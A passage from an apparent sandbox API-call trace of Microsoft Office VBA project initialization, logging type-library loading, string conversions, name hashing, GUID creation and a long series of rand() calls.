cchWideChar=14, lpMultiByteStr=0x264440, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.330] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.330] IUnknown:AddRef (This=0x6f64030) returned 0x4 [0017.330] IUnknown:QueryInterface (in: This=0x6f64030, riid=0x7fef41cd2c8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2648a0 | out: ppvObject=0x2648a0*=0x0) returned 0x80004002 [0017.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x264840, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0017.330] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0017.330] IUnknown:Release (This=0x6f64030) returned 0x3 [0017.330] GetModuleFileNameW (in: hModule=0x7fef3f10000, lpFilename=0x7fef4204ee0, nSize=0x104 | out: lpFilename="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x31 [0017.330] QueryPathOfRegTypeLib (in: guid=0x7fef41cf078*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0x264910 | out: lpbstrPathName=0x264910) returned 0x0 [0017.332] LoadTypeLibEx (in: szFile="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0x264960*=0x0 | out: pptlib=0x264960*=0x72d9b00) returned 0x0 [0017.338] IUnknown:AddRef (This=0x72d9b00) returned 0x2 [0017.338] ITypeLib:RemoteGetDocumentation (in: This=0x72d9b00, index=-1, refPtrFlags=0x264970, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x50005c00000000 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x50005c00000000) returned 0x0 [0017.338] IUnknown:QueryInterface (in: This=0x72d9b00, riid=0x7fef41c6750*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264780 | out: ppvObject=0x264780*=0x0) returned 0x80004002 [0017.338] ITypeLib:RemoteGetLibAttr (in: This=0x72d9b00, ppTLibAttr=0x264778, pDummy=0x10 | out: ppTLibAttr=0x264778, pDummy=0x10) returned 0x0 [0017.338] ITypeLib:RemoteGetDocumentation (in: This=0x72d9b00, index=-1, refPtrFlags=0x0, pbstrName=0x264770, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x264770*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0017.338] StringFromGUID2 (in: rguid=0x737a3b0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x264790, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0017.338] _ultow_s (in: _Value=0x4, _Buffer=0x2646b2, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0017.338] _ultow_s (in: _Value=0x2, _Buffer=0x2646b6, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0017.338] _ultow_s (in: _Value=0x9, _Buffer=0x2646ba, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0017.338] wcscpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x80, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0017.338] wcscpy_s (in: _Destination=0x743eebe, _SizeInWords=0x7d, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0017.338] wcscpy_s (in: _Destination=0x743ef0a, _SizeInWords=0x57, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0017.338] wcscpy_s (in: _Destination=0x743ef18, _SizeInWords=0x50, _Source="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0017.338] wcscpy_s (in: _Destination=0x743ef7c, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0017.338] ITypeLib:LocalReleaseTLibAttr (This=0x72d9b00) returned 0x0 [0017.338] wcscpy_s (in: _Destination=0x7496820, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0017.338] ITypeLib:RemoteGetDocumentation (in: This=0x72d9b00, index=-1, refPtrFlags=0x264888, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0017.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0017.338] strcpy_s (in: _Dst=0x2646a0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0017.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2646a0, cbMultiByte=4, lpWideCharStr=0x264500, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0017.338] IUnknown:AddRef (This=0x6f64030) returned 0x4 [0017.338] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x264658, pBstrLibName=0x264500 | out: pfName=0x264658*=0, pBstrLibName=0x264500) returned 0x0 [0017.338] IUnknown:Release (This=0x6f64030) returned 0x3 [0017.338] wcsncpy_s (in: _Destination=0x264520, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0017.338] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x7f | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x7f [0017.338] IMalloc:Alloc (This=0x7fefefb5380, cb=0x100) returned 0x73dc140 [0017.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=128, lpMultiByteStr=0x73dc140, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 128 [0017.338] IMalloc:Free (This=0x7fefefb5380, pv=0x73dc140) [0017.338] wcscpy_s (in: _Destination=0x7496c50, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0017.338] wcsncpy_s (in: _Destination=0x264550, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0017.338] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x7f | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x7f [0017.339] IMalloc:Alloc (This=0x7fefefb5380, cb=0x100) returned 0x73dc140 [0017.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=128, lpMultiByteStr=0x73dc140, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 128 [0017.339] IMalloc:Free (This=0x7fefefb5380, pv=0x73dc140) [0017.339] wcsncpy_s (in: _Destination=0x264520, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.339] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x264440, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.339] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.339] IUnknown:AddRef (This=0x72d9b00) returned 0x3 [0017.339] IUnknown:QueryInterface (in: This=0x72d9b00, riid=0x7fef41cd2c8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2648a0 | out: ppvObject=0x2648a0*=0x0) returned 0x80004002 [0017.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x264840, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0017.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0017.339] IUnknown:Release (This=0x72d9b00) returned 0x2 [0017.339] VirtualQuery (in: lpAddress=0x264e10, lpBuffer=0x264dd0, dwLength=0x30 | out: lpBuffer=0x264dd0*(BaseAddress=0x264000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0xfffffa80, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0017.339] qsort (in: _Base=0x7490fd0, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fef3f40fc0 | out: _Base=0x7490fd0) [0017.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0017.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0017.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0017.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0017.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0017.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0017.339] CoCreateGuid (in: pguid=0x264ed8 | out: pguid=0x264ed8*(Data1=0xa6a7bb9e, Data2=0x74f6, Data3=0x4816, Data4=([0]=0xa6, [1]=0x7c, [2]=0x12, [3]=0x32, [4]=0x71, [5]=0xc1, [6]=0x8c, [7]=0x6d))) returned 0x0 [0017.339] srand (_Seed=0x5196) [0017.339] rand () returned 2707 [0017.339] rand () returned 5367 [0017.339] rand () returned 3107 [0017.339] rand () returned 25991 [0017.340] rand () returned 22224 [0017.340] rand () returned 7173 [0017.340] rand () returned 3305 [0017.340] rand () returned 5542 [0017.340] rand () returned 21093 [0017.340] rand () returned 7093 [0017.340] rand () returned 29645 [0017.340] rand () returned 30555 [0017.340] rand () returned 4452 [0017.340] rand () returned 15519 [0017.340] rand () returned 22682 [0017.340] rand () returned 20118 [0017.340] rand () returned 26125 [0017.340] rand () returned 28117 [0017.340] rand () returned 31912 [0017.340] rand () returned 27549 [0017.340] rand () returned 25247 [0017.340] rand () returned 12135 [0017.340] rand () returned 31572 [0017.340] rand () returned 27055 [0017.340] rand () returned 11630 [0017.340] rand () returned 26157 [0017.340] rand () returned 24237 [0017.340] rand () returned 16615 [0017.340] rand () returned 23350 [0017.340] rand () returned 7360 [0017.340] rand () returned 27760 [0017.340] rand () returned 12132 [0017.340] rand () returned 17327 [0017.340] rand () returned 21962 [0017.340] rand () returned 16183 [0017.340] rand () returned 15783 [0017.340] rand () returned 1121 [0017.340] rand () returned 21376 [0017.340] rand () returned 32749 [0017.340] rand () returned 25148 [0017.340] rand () returned 9658 [0017.340] rand () returned 30828 [0017.340] rand () returned 21381 [0017.340] rand () returned 2205 [0017.340] rand () returned 5726 [0017.340] rand () returned 9584 [0017.340] rand () returned 20715 [0017.340] rand () returned 32595 [0017.340] rand () returned 28862 [0017.340] rand () returned 14600 [0017.340] rand () returned 4923 [0017.340] rand () returned 4446 [0017.340] rand () returned 16108 [0017.340] rand () returned 5071 [0017.340] rand () returned 15410 [0017.340] rand () returned 20183 [0017.340] rand () returned 12462 [0017.340] rand () returned 17989 [0017.340] rand () returned 31458 [0017.340] rand () returned 18644 [0017.340] rand () returned 30673 [0017.340] rand () returned 19407 [0017.340] rand () returned 27305 [0017.340] rand () returned 17548 [0017.340] rand () returned 16063 [0017.340] rand () returned 30463 [0017.340] rand () returned 24163 [0017.340] rand () returned 10684 [0017.340] rand () returned 27988 [0017.340] rand () returned 29462 [0017.340] rand () returned 27615 [0017.340] rand () returned 12361 [0017.341] rand () returned 12270 [0017.341] rand () returned 32455 [0017.341] rand () returned 19344 [0017.341] rand () returned 4390 [0017.341] rand () returned 29891 [0017.341] rand () returned 17470 [0017.341] rand () returned 24709 [0017.341] rand () returned 15992 [0017.341] rand () returned 21368 [0017.341] rand () returned 29281 [0017.341] rand () returned 31899 [0017.341] rand () returned 26360 [0017.341] rand () returned 4847 [0017.341] rand () returned 31574 [0017.341] rand () returned 13554 [0017.341] rand () returned 18585 [0017.341] rand () returned 16736 [0017.341] rand () returned 7237 [0017.341] rand () returned 23197 [0017.341] rand () returned 5740 [0017.341] rand () returned 4779 [0017.341] rand () returned 4703 [0017.341] rand () returned 27550 [0017.341] rand () returned 30144 [0017.341] rand () returned 30956 [0017.341] rand () returned 8479 [0017.341] rand () returned 4113 [0017.341] rand () returned 22157 [0017.341] rand () returned 11088 [0017.341] rand () returned 19919 [0017.341] rand () returned 30631 [0017.341] rand () returned 11027 [0017.341] rand () returned 3880 [0017.341] rand () returned 29775 [0017.341] rand () returned 11094 [0017.341] rand () returned 17086 [0017.341] rand () returned 14140 [0017.341] rand () returned 6418 [0017.341] rand () returned 10063 [0017.341] rand () returned 19533 [0017.341] rand () returned 28002 [0017.341] rand () returned 7273 [0017.341] rand () returned 20785 [0017.341] rand () returned 17203 [0017.341] rand () returned 31311 [0017.341] rand () returned 13060 [0017.341] rand () returned 7804 [0017.341] rand () returned 19517 [0017.341] rand () returned 8108 [0017.341] rand () returned 18357 [0017.341] rand () returned 32584 [0017.341] rand () returned 17782 [0017.341] rand () returned 30829 [0017.341] rand () returned 10872 [0017.341] rand () returned 24887 [0017.341] rand () returned 3400 [0017.341] rand () returned 13150 [0017.341] rand () returned 12465 [0017.341] rand () returned 24232 [0017.341] rand () returned 17635 [0017.341] rand () returned 23550 [0017.341] rand () returned 10932 [0017.341] rand () returned 28205 [0017.341] rand () returned 4579 [0017.341] rand () returned 9617 [0017.341] rand () returned 21130 [0017.341] rand () returned 9792 [0017.341] rand () returned 9004 [0017.341] rand () returned 27761 [0017.342] rand () returned 6131 [0017.342] rand () returned 26929 [0017.342] rand () returned 32025 [0017.342] rand () returned 24997 [0017.342] rand () returned 28071 [0017.342] rand () returned 3427 [0017.342] rand () returned 20695 [0017.342] rand () returned 5300 [0017.342] rand () returned 31713 [0017.342] rand () returned 21944 [0017.342] rand () returned 25355 [0017.342] rand () returned 20411 [0017.342] rand () returned 23582 [0017.342] rand () returned 20042 [0017.342] rand () returned 17851 [0017.342] rand () returned 31166 [0017.342] rand () returned 16930 [0017.342] rand () returned 24924 [0017.342] rand () returned 26987 [0017.342] rand () returned 29500 [0017.342] rand () returned 13885 [0017.342] rand () returned 14480 [0017.342] rand () returned 18822 [0017.342] rand () returned 8454 [0017.342] rand () returned 17612 [0017.342] rand () returned 15962 [0017.342] rand () returned 14336 [0017.342] rand () returned 6481 [0017.342] rand () returned 18178 [0017.342] rand () returned 21428 [0017.342] rand () returned 3130 [0017.342] rand () returned 9993 [0017.342] rand () returned 10473 [0017.342] rand () returned 3603 [0017.342] rand () returned 14630 [0017.342] rand () returned 5992 [0017.342] rand () returned 20643 [0017.342] rand () returned 4506 [0017.342] rand () returned 3755 [0017.342] rand () returned 1480 [0017.342] rand () returned 2806 [0017.342] rand () returned 23438 [0017.342] rand () returned 10827 [0017.342] rand () returned 6581 [0017.342] rand () returned 8456 [0017.342] rand () returned 4363 [0017.342] rand () returned 23299 [0017.342] rand () returned 27463 [0017.342] rand () returned 31590 [0017.342] rand () returned 9717 [0017.342] rand () returned 31858 [0017.342] rand () returned 430 [0017.342] rand () returned 30283 [0017.342] rand () returned 28720 [0017.342] rand () returned 3390 [0017.342] rand () returned 8207 [0017.342] rand () returned 19232 [0017.342] rand () returned 31508 [0017.342] rand () returned 1204 [0017.342] rand () returned 21647 [0017.342] rand () returned 13119 [0017.342] rand () returned 12059 [0017.342] rand () returned 11182 [0017.342] rand () returned 32173 [0017.342] rand () returned 10236 [0017.342] rand () returned 8669 [0017.342] rand () returned 31930 [0017.342] rand () returned 14804 [0017.342] rand () returned 25574 [0017.343] rand () returned 8767 [0017.343] rand () returned 20344 [0017.343] rand () returned 30000 [0017.343] rand () returned 2378 [0017.343] rand () returned 21735 [0017.343] rand () returned 21316 [0017.343] rand () returned 2498 [0017.343] rand () returned 4601 [0017.343] rand () returned 29939 [0017.343] rand () returned 7445 [0017.343] rand () returned 9647 [0017.343] rand () returned 27723 [0017.343] rand () returned 3306 [0017.343] rand () returned 19621 [0017.343] rand () returned 27614 [0017.343] rand () returned 26980 [0017.343] rand () returned 15346 [0017.343] rand () returned 3283 [0017.343] rand () returned 705 [0017.343] rand () returned 24758 [0017.343] rand () returned 23364 [0017.343] rand () returned 29509 [0017.343] rand () returned 1395 [0017.343] rand () returned 11463 [0017.343] rand () returned 6110 [0017.343] rand () returned 849 [0017.343] rand () returned 2820 [0017.343] rand () returned 25909 [0017.343] rand () returned 21623 [0017.343] rand () returned 22558 [0017.343] rand () returned 14353 [0017.343] rand () returned 31223 [0017.343] rand () returned 26552 [0017.343] rand () returned 14854 [0017.343] rand () returned 3735 [0017.343] rand () returned 5093 [0017.343] rand () returned 2729 [0017.343] rand () returned 9023 [0017.343] rand () returned 28680 [0017.343] CoCreateGuid (in: pguid=0x6f2ad48 | out: pguid=0x6f2ad48*(Data1=0xf3c2a97f, Data2=0x2050, Data3=0x4658, Data4=([0]=0x9e, [1]=0xb1, [2]=0x95, [3]=0x93, [4]=0x97, [5]=0x3d, [6]=0x74, [7]=0x51))) returned 0x0 [0017.343] strcpy_s (in: _Dst=0x6f2ada8, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0017.348] lstrlenA (lpString="Project") returned 7 [0017.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c4e238, cbMultiByte=-1, lpWideCharStr=0x265b40, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0017.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x265a10, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0017.348] lstrcmpiA (lpString1="", lpString2="Project1") returned -1 [0017.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0017.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x265990, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0017.348] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0017.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x265880, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0017.348] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0017.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x265870, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0017.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x265740, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0017.348] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0017.348] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0017.348] wcsncpy_s (in: _Destination=0x265590, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.348] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x2654b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.348] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.349] strcpy_s (in: _Dst=0x6f2adb8, _DstSize=0x9, _Src="Project1" | out: _Dst="Project1") returned 0x0 [0017.349] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0017.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a028, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0017.349] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0017.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a028, cbMultiByte=9, lpWideCharStr=0x737a3b8, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0017.349] lstrlenA (lpString="Project1") returned 8 [0017.350] lstrlenA (lpString="C:\\Windows\\system32\\stdole2.tlb") returned 31 [0017.350] lstrcpyA (in: lpString1=0x1c4d3e0, lpString2="C:\\Windows\\system32\\stdole2.tlb" | out: lpString1="C:\\Windows\\system32\\stdole2.tlb") returned="C:\\Windows\\system32\\stdole2.tlb" [0017.350] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x265710*=0x0 | out: pptlib=0x265710*=0x72d9dd0) returned 0x0 [0017.350] ITypeLib:RemoteGetDocumentation (in: This=0x72d9dd0, index=-1, refPtrFlags=0x265720, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0017.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x265600, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0017.350] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0017.350] GetLocalTime (in: lpSystemTime=0x2654b0 | out: lpSystemTime=0x2654b0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x160)) [0017.350] wcsncpy_s (in: _Destination=0x265190, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.350] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x2650b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.350] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.350] IUnknown:QueryInterface (in: This=0x72d9dd0, riid=0x7fef41c6750*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265530 | out: ppvObject=0x265530*=0x0) returned 0x80004002 [0017.350] ITypeLib:RemoteGetLibAttr (in: This=0x72d9dd0, ppTLibAttr=0x265528, pDummy=0x10 | out: ppTLibAttr=0x265528, pDummy=0x10) returned 0x0 [0017.350] ITypeLib:RemoteGetDocumentation (in: This=0x72d9dd0, index=-1, refPtrFlags=0x0, pbstrName=0x265520, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x265520*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0017.350] StringFromGUID2 (in: rguid=0x737a3b0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x265540, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0017.350] _ultow_s (in: _Value=0x2, _Buffer=0x265462, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0017.350] _ultow_s (in: _Value=0x0, _Buffer=0x265466, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.350] _ultow_s (in: 